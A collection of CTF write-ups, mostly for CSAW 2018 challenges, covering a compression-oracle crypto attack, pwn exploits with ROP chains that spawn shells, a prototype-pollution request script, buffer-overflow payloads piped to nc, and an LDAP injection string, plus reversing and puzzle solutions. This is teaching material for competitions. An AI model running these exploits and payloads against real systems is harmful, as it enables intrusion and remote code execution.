> no logos or branding for this bug> > Take your pick nc `crypto.chal.csaw.io 8040` `nc crypto.chal.csaw.io 8041` `nc crypto.chal.csaw.io 8042` `nc crypto.chal.csaw.io 8043`> > flag is not in flag format. flag is PROBLEM_KEY
**Files provided**
- [`serv-distribute.py`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/flatcrypt-serv-distribute.py)
**Solution**
Let's examine the script:
```pythondef encrypt(data, ctr): return AES.new(ENCRYPT_KEY, AES.MODE_CTR, counter = ctr).encrypt(zlib.compress(data))
while True: f = input("Encrypting service\n") if len(f) < 20: continue enc = encrypt( bytes( (PROBLEM_KEY + f).encode('utf-8') ), Counter.new(64, prefix = os.urandom(8)) ) print("%s%s" % (enc, chr(len(enc))))```
Our target is `PROBLEM_KEY` and we don't know `ENCRYPT_KEY`.
Whenever we interact with the script, we have to give it at least 20 bytes of data. It then prepends `PROBLEM_KEY` to our data, uses `zlib` to compress the result, and finally encrypts that using AES-CTR with a random counter. We get to see the encrypted result and the length of that data.
So there are a few things to note here. First of all, AES-CTR is not a block cipher, it is a stream cipher - it encrypts each byte separately and hence the size of the cipher text is the same as the size of the plain text. This is different from e.g. AES-CBC.
`zlib` is a standard compression library. By definition, it tries to compress data, i.e. make the output smaller than the input. The way this works is by finding sequences of data which occur multiple times in the input and replacing them with back-references. It works at the byte level, i.e. it can compress `1234 1234` to `1234 <back-ref to 1234>`, but it cannot compress `1234 5678` to `1234 <back-ref to 1234 with +4 to byte values>`.
$ python3 >>> import zlib >>> # all bytes from 0 to 255: >>> len(bytes([ i for i in range(256) ])) 256 >>> # zlib compression makes the result larger: >>> len(zlib.compress(bytes([ i for i in range(256) ]))) 267 >>> # the sequence 0, 1, 2, 3, 0, 1, 2, 3, ...: >>> len(bytes([ i % 4 for i in range(256) ])) 256 >>> # zlib compression identifies the repeating 0, 1, 2, 3: >>> len(zlib.compress(bytes([ i % 4 for i in range(256) ]))) 15
What do we actually do in this challenge? We cannot decrypt the AES, since we don't know the encryption key and the counter is 8 random bytes that would be very hard to predict. The only information leak that we have available is the size of the cipher text, and this depends on how well the `zlib` compression performs.
If you are not familiar with an attack like this, see [CRIME](https://en.wikipedia.org/wiki/CRIME) or [BREACH](https://en.wikipedia.org/wiki/BREACH).
How does `zlib` compression help us? Let's assume that `PROBLEM_KEY` is the string `good_secret`. Now let's append `baad` and `good` to `PROBLEM_KEY`, compress it, and check the length of the result:
>>> len(zlib.compress(b"good_secret" + b"baad")) 23 >>> len(zlib.compress(b"good_secret" + b"good")) 21
The length of the string we appended was the same, and yet the second is shorter - because `good` is a part of `PROBLEM_KEY` and hence even without knowing what `PROBLEM_KEY` is, we can tell that it contains `good`.
So this will be our general approach: send various strings to the server and character-by-character we can find out what `PROBLEM_KEY` is, based on how well our attempts compress.
There is just one complication in this challenge, and it is that our input needs to be at least 20 bytes. This is why the above-mentioned fact that `zlib` operates on the byte level is important to us. We can prepend our test string with 20 bytes that will definitely not occur in `PROBLEM_KEY`. The challenge tells us what the search space is for `PROBLEM_KEY`:
```python# Determine this key.# Character set: lowercase letters and underscorePROBLEM_KEY = 'not_the_flag'```
We can easily find a simple 20-byte string that doesn't contain lowercase characters or underscores: `1234567890ABCDEFGHIJ`. Even better, we can use it to our advantage. This will be the general outline of our search algorithm:
- `padding` := "1234567890ABCDEFGHIJ" - start with an empty `known_flag` string - while `known_flag` is not the full flag: - for each `candidate` in the key alphabet: - send `padding` + `candidate` + `known_flag` + `padding` to the server - prepend the best-compressed `candidate` to `known_flag`
During the CTF my script first started with a three-byte string found by brute-force, then extended the candidate in both directions, but the above method is much simpler and less bandwidth-intensive.
([Full Python script here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/scripts/flatcrypt.py))
$ python solve.py o go ogo logo _logo a_logo _a_logo e_a_logo ve_a_logo ave_a_logo have_a_logo _have_a_logo t_have_a_logo nt_have_a_logo snt_have_a_logo esnt_have_a_logo oesnt_have_a_logo doesnt_have_a_logo _doesnt_have_a_logo e_doesnt_have_a_logo me_doesnt_have_a_logo ime_doesnt_have_a_logo rime_doesnt_have_a_logo crime_doesnt_have_a_logo done!
`flag{crime_doesnt_have_a_logo}` |
**Description**
> We've burrowed ourselves deep within the facility, gaining access to the programable logic controllers (PLC) that drive their nuclear enrichment centrifuges. Kinetic damage is necessary, we need you to neutralize these machines.> > You can access this challenge at https://wargames.ret2.systems/csaw_2018_plc_challenge> > NOTE The wargames platform is out of scope for this challenge, just use it to do the pwnable challenge. Any kind of scanning or misuse will get your ip banned! However, if you do happen to find any security issues, please email us at `contact at ret2.io`
**No files provided**
**Solution** (by [Mem2019](https://github.com/Mem2019))
1. use `x` command to dump the binary, so that we can cheat using IDA.2. after some reversing, we found that there is overflow and no null termination when we fill `enrichment` string3. There is a function pointer just after it, which should point to `sub_AB0`, we can leak pie first4. then after some debugging, we know that when we call that function pointer, the `rdi` points to `enrichment`5. change that function to `printf`, so we can leak the `libc` address6. then change it to a ROP gadget, which can let the program go to our ROP chain, 7. because there is a 128-length buffer that we can control in stack8. use return to syscall using gadgets in libc, since the original `execve` is disabled
```pythonimport interactsh = interact.Process()
def u16(st): assert len(st) == 2 return ord(st[0]) + (ord(st[1]) << 8)
def p16(num): return chr(num & 0xff) + chr((num >> 8) & 0xff)
def u64(st): return u16(st[0:2]) + (u16(st[2:4]) << 0x10) + (u16(st[4:6]) << 0x20) + (u16(st[6:8]) << 0x30)
def p64(num): return p16(num & 0xffff) + p16((num >> 0x10) & 0xffff) + p16((num >> 0x20) & 0xffff) + p16((num >> 0x30) & 0xffff)
def checksum(codes): codes_len = 1020 assert len(codes) == codes_len acc = 0 k = 2 for i in xrange(0, codes_len, 2): acc = u16(codes[i:i+2]) ^ ((k + (((acc << 12) & 0xffff) | (acc >> 4))) & 0xffff) k += 1 return acc
def make_fw(codes): codes = "19" + codes cs = checksum(codes) ret = "FW" + p16(cs) + codes assert len(ret) == 0x400 return ret
def update(codes): sh.send("U\n") sh.send(make_fw(codes.ljust(1018,"\x00")))
def execute(payload = '', leak = False): sh.send("E".ljust(8,'\x00') + payload + "\n") #at 11$ if leak: sh.readuntil("2019") return sh.readuntil("\x7f")
def status(): sh.send("S\n") print sh.readuntil("ENRICHMENT MATERIAL: " + 'A' * 68) ret = sh.readuntil("\n") ret = ret[:len(ret)-1] return ret
def make_payload(st): ret = "" for c in st: ret += '2' ret += c return ret
def make_format(fmt): return make_payload("2019" + fmt + "A" * (64-len(fmt)) + p64(prog_addr + 0x900)) #printf
print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")print sh.readuntil("- - - - - - - - - - - - - - - - - - - - \n")#update("7" * 70 + "31" + "21" * 0x100 + "9")update("2A" * 68 + "9")execute()
prog_addr = (u64(status() + "\x00\x00") - 0xAB0)print hex(prog_addr)trigger = "7" * 70 + "31" + "9"update(make_format("%11$s") + trigger)leak = execute(p64(prog_addr + 0x202018), True) #puts
libc_addr = u64(leak + "\x00\x00") - 0x6f690print hex(libc_addr)
rop_start = libc_addr + 0x10a407 # add rsp, 0x40 ; retpop_rax_ret = libc_addr + 0x33544pop_rdi_ret = libc_addr + 0x21102pop_rsi_ret = libc_addr + 0x202e8pop_rdx_ret = libc_addr + 0x1b92
rop = p64(pop_rax_ret) + '\x3b'.ljust(8, '\x00')# bug? p64(59) #execve rop += p64(pop_rdi_ret) + p64(libc_addr + 0x18CD57) #/bin/shrop += p64(pop_rsi_ret) + p64(0)rop += p64(pop_rdx_ret) + p64(0)rop += p64(libc_addr + 0xF725E) #syscall
update(make_payload("2019" + "A" * 64 + p64(rop_start)) + trigger)execute('A' * 0x10 + rop)
sh.interactive()``` |
**Description**
> yeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet> > single yeet yeeted with single yeet == 0> > yeeet> > what is yeet?> > yeet is yeet> > Yeetdate: yeeted yeet at yeet: 9:42 pm
**Files provided**
- [`ciphertext.txt`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/babycrypto-ciphertext.txt)
**Solution**
If we decode the ciphertext with Base64, we see a lot of non-ASCII characters:
$ base64 -D < ciphertext.txt > b64dec.bin $ xxd b64dec.bin 0000000: b39a 9091 df96 8cdf 9edf 8f8d 9098 8d9e ................ 0000010: 9292 9a8d df88 9790 df9e 8c8f 968d 9a8c ................ 0000020: df8b 90df 9c8d 9a9e 8b9a df8f 8d90 988d ................ 0000030: 9e92 8cdf 8b97 9e8b df97 9a93 8fdf 8f9a ................ 0000040: 908f 939a df9b 90df 939a 8c8c d1df b79a ................ 0000050: df88 9e91 8b8c df8b 90df 8f8a 8bdf 9e8a ................ 0000060: 8b90 929e 8b96 9091 df99 968d 8c8b d3df ................ 0000070: 9e91 9bdf 8c9c 9e93 9e9d 9693 968b 86df ................ 0000080: 9e93 9091 988c 969b 9ad1 dfb7 9adf 9b8d ................ 0000090: 9a9e 928c df90 99df 9edf 8890 8d93 9bdf ................ 00000a0: 8897 9a8d 9adf 8b97 9adf 9a91 9b93 9a8c ................ 00000b0: 8cdf 9e91 9bdf 8b97 9adf 9691 9996 9196 ................ 00000c0: 8b9a df9d 9a9c 9092 9adf 8d9a 9e93 968b ................ 00000d0: 969a 8cdf 8b90 df92 9e91 9496 919b d3df ................ 00000e0: 9e91 9bdf 8897 9a8d 9adf 8b97 9adf 8b8d ................ 00000f0: 8a9a df89 9e93 8a9a df90 99df 9396 999a ................ 0000100: df96 8cdf 8f8d 9a8c 9a8d 899a 9bd1 9993 ................ 0000110: 9e98 849b 9699 9996 9ad2 979a 9393 929e ................ 0000120: 91d2 98cf 8f97 cc8d 858d 9eb0 a6ce b59e ................ 0000130: 93cb 9cb7 9eb9 a6c6 aca8 ad86 beae c99e ................ 0000140: b782 ..
In fact, not a single byte is ASCII data - all the bytes are higher than `0x7F`. This indicates that the MSB (most significant bit) is `1` for all bytes. It also shows that this might not be the result of a "standard" cipher, which would (attempt to) distribute the values over the entire spectrum.
So an obvious possibility was that the MSB was simply set on all the bytes, and to decode we should ignore the byte:
```pythonimport syswith open("b64dec.bin", "rb") as f: encoded = f.read() for c in encoded: sys.stdout.write(chr(ord(c) & 0x7F))```
This produces some more ASCII-looking data, but it is still not readable and the most common character seems to be `_`. An underscore is `0x5F`, and if we put back the MSB we ignored, that value is `0xDF`, or `0b11011111`. If this is English text, we would expect the most common character to be `0x20` (a space), which happens to be `0x20`, or `0b00100000`. All the bits are inverted, so let's see if this works:
```pythonimport syswith open("b64dec.bin", "rb") as f: encoded = f.read() for c in encoded: sys.stdout.write(chr(ord(c) ^ 0xFF))```
And indeed:
$ python invertBits.py
> Leon is a programmer who aspires to create programs that help people do less. He wants to put automation first, and scalability alongside. He dreams of a world where the endless and the infinite become realities to mankind, and where the true value of life is preserved.flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}
The flag seems a bit unrelated.
`flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}` |
This challenge was provided with source code access, written in nodejs.The bug is related to prototype pollution in the [line](https://github.com/DefConUA/HackIT2018/blob/master/web/Republic_of_Gayming/app.js#L64)The general idea behind prototype pollution is when you an expression like : obj[a][b] = value
And user can control a,b and valueif the users sets "a" to "\__proto__" and "b" to any property , he can injects attributes in all existing objects with the value "value"for more details check [this](https://github.com/HoLyVieR/prototype-pollution-nsec18)
The script I used is pretty simple, pollute array proto with attribute admintoken and an arbitrary value, then query /admin with the md5 of that value,Note: At some points lot of teams were changing the __proto__ at the same time so it became like a trivial race condition, but it can be won easy ```pythonimport requests
r = requests.post('http://185.168.131.1:3000/api',json={'row':'__proto__','col':'admintoken','data':'qqq'})r = requests.get('http://185.168.131.1:3000/admin?querytoken=' + md5sumhex('qqq'))print r.text
``` |
**Description**
> Looks like you found a bunch of turtles but their shells are nowhere to be seen! Think you can make a shell for them?> > `nc pwn.chal.csaw.io 9003`> > Update (09/14 6:25 PM) - Added libs.zip with the libraries for the challenge
**Files provided**
- [turtles](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/turtles) - [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip) (too large to host)
**Solution** (by [Mem2019](https://github.com/Mem2019))
After reversing function `objc_msg_lookup`, we found that if we satisfy some conditions, we can manipulate the return value, which will be called, and then we can do ROP, because we can control the buffer on stack. What I did is to switch the stack to heap to do further exploitation.
Firstly, leak the `libc` address and return to main function, then do the same thing again to execute `system("/bin/sh")`
exp
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'
e = ELF("./libc-2.19.so")p = ELF("./turtles")if g_local: sh = remote("192.168.106.151", 9999)#env={'LD_PRELOAD':'./libc.so.6'}else: sh = remote("pwn.chal.csaw.io", 9003) #ONE_GADGET_OFF = 0x4557a
LEAVE_RET = 0x400b82POP_RDI_RET = 0x400d43#rop = 'A' * 0x80rop = p64(POP_RDI_RET)rop += p64(p.got["printf"])rop += p64(p.plt["printf"])rop += p64(0x400B84) #main
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivot# different when dynamic# fake_turtle += p64(0x601400) + p64(0x601328)# fake_turtle += p64(0x601321) + p64(0)# fake_turtle += p64(1) + p64(8)# fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x80)# fake_turtle += 8 * p64(0)# #------------------# fake_turtle += p64(0) + p64(1)# fake_turtle += p64(0x601331) + p64(0x601349)# fake_turtle += p64(0x400d3c) #pop 5 ret# fake_turtle += 3 * p64(0)
fake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + ropsh.interactive()sh.send(fake_turtle)libc_addr = u64(sh.recvuntil("\x7f") + "\x00\x00") - e.symbols["printf"]print hex(libc_addr)
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivotfake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + p64(POP_RDI_RET) + p64(libc_addr + next(e.search('/bin/sh\x00')))fake_turtle += p64(libc_addr + e.symbols["system"]) #0x30 one_gadget
sh.send(fake_turtle)
sh.interactive()```
//todo |
* **Category:** reversing* **Points:** 200* **Description:**
> ## Part 3:>> The final boss!>> Time to pull together your knowledge of Bash, Python, and stupidly-low-level> assembly!!> > This time you have to write some assembly that we're going to run.. You'll see> the output of your code through VNC for 60 seconds.> > Objective: Print the flag.> > What to know:> > Strings need to be alternating between the character you want to print and> '0x1f'.> > To print a string you need to write those alternating bytes to the frame> buffer (starting at 0x00b8000...just do it). Increment your pointer to move> through this buffer.> > If you're having difficulty figuring out where the flag is stored in memory,> this code snippet might help you out:>> ```> get_ip:> call next_line> next_line:> pop rax> ret> ```>> That'll put the address of pop rax into rax.>> Call serves as an alias for push rip (the instruction pointer - where we are> in code) followed by `jmp ______` where whatever is next to the call fills in> the blank.>> And in case this comes up, you shouldn't need to know where you are loaded in> memory if you use that above snippet...>> Happy Reversing!!>> ```sh> nc rev.chal.csaw.io 9004> ```>> -Elyk>> [Makefile](https://ctf.csaw.io/files/b236e0cc11cba5b5fd134436a0c8c811/Makefile)> [part-3-server.py](https://ctf.csaw.io/files/d3e7a84ffb4eeca992c9f458bf4c11ec/part-3-server.py)> [tacOS-base.bin](https://ctf.csaw.io/files/acbf4fe9f0233ce3ed34c55fee34649e/tacOS-base.bin)
## Writeup
This is a challenge in multiple stages, each one having its own flag.(Note: the original link contains all three stages)
The general theme is low-level x86 code and how it behaves after boot.The difficulty is quite low, but it was fun.
### Stage 3
For Stage 3 we get a host and port again, this time we can send them ahex-encoded binary that gets appended to the Stage 2 payload to be executedafter the flag is rendered, we then get a port on which we can observe thebinary over VNC.
The flag seems to be appended after our code, so I just wrote some asm thathexdumps the bytes of our binary and everything after that in an infinite loop:
```as call nextnext: pop rbp
mov edi, 0xb8000
loop: mov rsi, byte [rbp] inc rbp call draw_byte jmp loop
draw_byte: /* rdi: framebuffer */ /* rsi: byte */ /* == CLOBBERS == */ /* rsi, rbx, rax */
mov rbx, rsi
shr rsi, 4 call draw_nibble
mov rsi, rbx call draw_nibble
ret
draw_nibble: /* rdi: framebuffer */ /* rsi: nibble */ /* == CLOBBERS == */ /* rax */
mov rax, rsi and al, 0x0f cmp al, 0x09 ja is_char
is_digit: add al, 0x30 jmp output
is_char: add al, 0x41 - 0x0a
output: mov ah, 0x1f
mov word [rdi], ax add rdi, 2 ret```
Sending this to the port and connecting via VNC reveals this:

Writing this down and decoding this with this:
```pyimport binascii
print(binascii.unhexlify( "666c61677b53346c31795f53653131535f7461634f5368656c6c5f633064335f62595f7448655f5365345f53683072657d").decode())```
yields the flag:
```flag{S4l1y_Se11S_tacOShell_c0d3_bY_tHe_Se4_Sh0re}``` |
# CSAW CTF Qualification Round 2018 2018 WriteupThis repository serves as a writeup for CSAW CTF Qualification Round 2018 which are solved by The [S3c5murf](https://ctftime.org/team/63808/) team
## Twitch Plays Test Flag
**Category:** Misc**Points:** 1**Solved:** 1392**Description:**
> ``flag{typ3_y3s_to_c0nt1nue}``
### Write-upJust validate it.
So, the flag is : ``flag{typ3_y3s_to_c0nt1nue}``
## bigboy
**Category:** Pwn**Points:** 25**Solved:** 656**Description:**
> Only big boi pwners will get this one!
> ``nc pwn.chal.csaw.io 9000``
**Attached:** [boi](resources/pwn-25-bigboy/boi)
### Write-upIn this task, we are given a file and we should use a socket connexion to get the flag.
Let's try opening a socket connexion using that command ``nc pwn.chal.csaw.io 9000``.
Input : testtesttest
Output : Current date
Alright. Now, we start analyzing the given file.
Using the command ``file boi``, we get some basic information about that file:
The given file is an ELF 64-bit executable file that we need for testing before performing the exploitation through the socket connexion.
So let's open it using Radare2 :
```r2 boiaaa #For a deep analysis```
Then, we disassamble the main() method:
```pdf @main```
As we can see, there is 8 local variables in the main method:
```| ; var int local_40h @ rbp-0x40| ; var int local_34h @ rbp-0x34| ; var int local_30h @ rbp-0x30| ; var int local_28h @ rbp-0x28| ; var int local_20h @ rbp-0x20| ; var int local_1ch @ rbp-0x1c| ; var int local_18h @ rbp-0x18| ; var int local_8h @ rbp-0x8```
Then, some local variables are initialized:
```| 0x00400649 897dcc mov dword [rbp - local_34h], edi| 0x0040064c 488975c0 mov qword [rbp - local_40h], rsi| 0x00400650 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=0x1a98 ; '('| 0x00400659 488945f8 mov qword [rbp - local_8h], rax| 0x0040065d 31c0 xor eax, eax| 0x0040065f 48c745d00000. mov qword [rbp - local_30h], 0| 0x00400667 48c745d80000. mov qword [rbp - local_28h], 0| 0x0040066f 48c745e00000. mov qword [rbp - local_20h], 0| 0x00400677 c745e8000000. mov dword [rbp - local_18h], 0| 0x0040067e c745e4efbead. mov dword [rbp - local_1ch], 0xdeadbeef```
After that, the message was printed "Are you a big boiiiii??" with the put() function:
```| 0x00400685 bf64074000 mov edi, str.Are_you_a_big_boiiiii__ ; "Are you a big boiiiii??" @ 0x400764| 0x0040068a e841feffff call sym.imp.puts ; sym.imp.system-0x20; int system(const char *string);```
Next, the read() function was called to read the input set by the user from the stdin:```| 0x0040068f 488d45d0 lea rax, qword [rbp - local_30h]| 0x00400693 ba18000000 mov edx, 0x18| 0x00400698 4889c6 mov rsi, rax| 0x0040069b bf00000000 mov edi, 0| 0x004006a0 e85bfeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte);```
The input was set in the [rbp - local_30h] address.
Then, a comparison was trigered to compare the value of the `[rbp - local_1ch]` address to the `0xcaf3baee` value.
But as explained previously, the `[rbp - local_1ch]` value was `0xdeadbeef` and not `0xcaf3baee`.
What to do then ?
As we remember, the data input from the stdin is set in the `[rbp - local_30h]` address.
And since we don't see any check on the data input set by the user while calling the read() function, we can exploit a buffer overflow attack to set the `0xcaf3baee` value in the `[rbp - local_30h]` address.
The difference between rbp-0x30 and rbp-0x1c in hexadecimal is 14. In base10 it's 20.
So the offset that we should use is equal to 20 bytes.
To resume the input should looks like : ``20 bytes + 0xcaf3baee``.
Let's exploit !
In exploit, I only need peda-gdb (I installed it and linked it to gdb so if you don't already downloaded peda-gdb, some of the next commands will not work or will not have the same output).
We run peda-gdb on the binary file and we disassamble the main function just to get the instruction's line numbers:
```gdb boipdisass main```
Output :
We set a breakpoint on line main+108 to see the registers state after calling the cmp instruction:
```b *main+108```
Let's try running the binary file with a simple input (for example input='aaaa' : length <=20):
```r <<< $(python -c "print 'aaaa'")```
Output :
The value of RAX register (64 bits) is `0xdeadbeef` which is the value of EAX register (32 bits). As I remember EAX register is the lower 32 bits of the RAX register. So until now, this makes sense to see that value in RAX register.
The value of RSI register (64 bits) is `aaaa\n` also as expected (data input).
And while jne (jump if not equals) is executed, the program will jump to the lines that executes /bin/date (refer to the main disassambled using radare2).
This is why, we see the current date in the output when we continue using `c` in gdb.
Another important thing, in the stack, we can see the value of the local variables.
Now, let's try smaching the stack and set 20+4 bytes in the data input:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaabbbb'")```
Output :
We can see that the value of RAX (means to EAX) is `bbbb` and we can see that in the stack part, the `0xdeadbeef00000000` was replaced by `aaaabbbb` after replacing the other local variables. And even though, the `Jump is taken`. So, if we continue the execution, we will get the current date.
Now, let's perform the exploitation seriously and replace `bbbb` by the `0xcaf3baee` value:
```r <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Output :
Now, RAX (means to EAX) gets the good value `0xcaf3baee`. And the Jump was not taken.
Let's continue :
```c```
Output :
So the /bin/dash was executed.
Now, we try this exploit remotely over a socket connexion:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")```
Pwned ! We got the shell. And we can get the flag.
But, wait... This is not good. Whatever the command that we run through this connexion, we don't receive the output.
Let's try sending the commands on the payload directly:
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")```
Output :
Good ! Let's cat the flag file :
```nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")```
Output :
So, the flag is : ``flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}``
## get it?
**Category:** Pwn**Points:** 50**Solved:** 535**Description:**
> Do you get it?
### Write-upI tried writing a write-up but after reading another one, I felt uncomfortable to write it.
This is the greatest write-up of this task that I recommand reading it :
[https://ctftime.org/writeup/11221](https://ctftime.org/writeup/11221)
Which is a shortcut it this one :
[https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md](https://github.com/b01lers/writeups/blob/master/2018/csaw/get_it/writeup.md)
My solution was closer because it remains to some payload :
```python -c "print 'A'*40+'\xb6\x05\x40\x00\x00\x00\x00\x00'" > payload(cat payload; cat) | nc pwn.chal.csaw.io 9001```
Output :
Now, we got the shell !
We can also get the flag :
```idlscat flag.txt```
Output :
So, the flag is `flag{y0u_deF_get_itls}`.
## A Tour of x86 - Part 1
**Category:** Reversing**Points:** 50**Solved:** 433**Description:**
> Newbs only!
> `nc rev.chal.csaw.io 9003`
> -Elyk
> Edit (09/15 12:30 AM) - Uploaded new stage-2.bin to make Part 2 easier.
**Attached:** [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) [Makefile](resources/reversing-50-a_tour_of_x86_part_1/Makefile) [stage-2.bin](resources/reversing-50-a_tour_of_x86_part_1/stage-2.bin)
### Write-upIn this task, we only need the [stage-1.asm](resources/reversing-50-a_tour_of_x86_part_1/stage-1.asm) file.
The other files are needed in the next stage which I haven't already solve it.
I just readed this asm file and I answered to the five question in the socket connexion opened with `nc rev.chal.csaw.io 9003`.
> Question 1 : What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```xor dh, dh ; => dh xor dh = 0. So the result in hexadecimal is 0x00```
> Question 2 : What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov dx, 0xffff ; => dx=0xffffnot dx ; => dx=0x0000mov gs, dx ; => gs=dx=0x0000```
> Answer 3 : What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov cx, 0 ; cx=0x0000 ; Registers that ends with 'x' are composed of low and high registers (cx=ch 'concatenated with' cl)mov sp, cx ; => sp=cx=0x0000mov si, sp ; => si=sp=0x0000```
> Answer 4 : What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```mov al, 't' ; => al='t'=0x74 (in hexadecimal)mov ah, 0x0e ; => ah=0x0e. So ax=0x0e74. Because ax=ah 'concatenated with' al```
> Answer 5 : What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')
Resume of the instructions :
```.string_to_print: db "acOS", 0x0a, 0x0d, " by Elyk", 0x00 ; label: <size-of-elements> <array-of-elements>mov ax, .string_to_print ; 'ax' gets the value of the 'db' array of bytes of the .string_to_print sectionmov si, ax ; si=axmov al, [si] ; 'al' gets the address of the array of bytes of the .string_to_print section. Which means that it gets the address of the first byte. So al=0x61mov ah, 0x0e ; ah=0x0e. So ax=0x0e61. Because ax=ah 'concatenated with' al```
Then, we send our answers to the server :
Input and output :
```nc rev.chal.csaw.io 9003........................................Welcome!
What is the value of dh after line 129 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of gs after line 145 executes? (Answer with a one-byte hex value, prefixed with '0x')0x00
What is the value of si after line 151 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0000
What is the value of ax after line 169 executes? (Answer with a two-byte hex value, prefixed with '0x')0x0e74
What is the value of ax after line 199 executes for the first time? (Answer with a two-byte hex value, prefixed with '0x')0x0e61flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}```
So, the flag is `flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}`
## Ldab
**Category:** Web**Points:** 50**Solved:** 432**Description:**
> dab
> `http://web.chal.csaw.io:8080`
### Write-upThis task was a kind of LDAP Injection.
After we visit this page `http://web.chal.csaw.io:8080` in the web browser, we get this result :
After some search tries, I understood that there is a filter like this `(&(GivenName=<OUR_INPUT>)(!(GivenName=Flag)))` (the blocking filter is in the right side, not in the left side).
I understood this after solving this task. But, I'm gonna explain what is the injected payload and how it worked.
The payload choosed was `*))(|(uid=*`.
And this payload set as an input, when it replaces `<OUR_INPUT>`, the filter will looks like this : `(&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))`.
This is interpreted as :
> Apply an AND operator between `(GivenName=*)` which will always succeed.
> Apply an OR operator between `(uid=*)` and `(!(GivenName=Flag))` which will succeed but it doesn't show the flag.
As I understood, the default operator between these two conditions is an OR operator if there is no operator specified.
So, after setting `*))(|(uid=*` as an input, we will get the flag :
So, the flag is `flag{ld4p_inj3ction_i5_a_th1ng}`.
## Short Circuit
**Category:** Misc**Points:** 75**Solved:** 162**Description:**
> Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.
> Elyk
**Attached** [20180915_074129.jpg](resources/misc-75-short_circuit/20180915_074129.jpg)**Hint:** There are 112 Things You Need to Worry About
### Write-upIn this task we are given a photo that contains a circuit from which we should find the flag.
Personally, I solved this task without that hint.
I'm gonna relate how I solved this task. It was not so easy if you can't get it.
After seeing this given picture and after reading the description, I was confused. Is it rotated correctly ? Or should we find the correct rotation ?
So, I choosed this rotation because it looks better for me (that I can think better with a relaxed mind) :
Maybe, I choosed this rotation also because of these hints :
I tried to determinde the path between the 2 +Vcc :
In the first impression, after seeing the LED Diodes, I said
> "Maybe we should find the bits from each led : 1 if the electricity goes through the LED and 0 if not".
So let's fix some concepts. In physics, the electricity goes through an electric component IF there is no short circuit or if the electricity reach the ground. This is what I say in physics related to this task
Also, a short circuit means that the input node have the same voltage as the output node. So the electricity will go from node A to node B through the cable without going in the other path through any other electric component.
So, for the first 16 bits it was OK, I found the begining of the format flag 'flag{}' only for 2 bytes 'fl'. And I was excited :
I commented on 'Counts as 2 each' and I said "Of course because there is 2 LED Diodes. What a useless information".
But starting for the third byte, it was a disaster. I was affraid that I was bad in physics. And it was impossible for me to get even a correct character from the flag format 'flag{}'.
I said maybe I'm wrong for the orientation. Since, in the description, the author mentionned that we should ignore the first bit.
I said, the flag characters are they 7-bits and shall we add the last bit as a 0 ? The answer was 'No'.
I changed the orientation 180 degree. But, I didn't get any flag format.
In the both directions, there is many non-ascii characters.
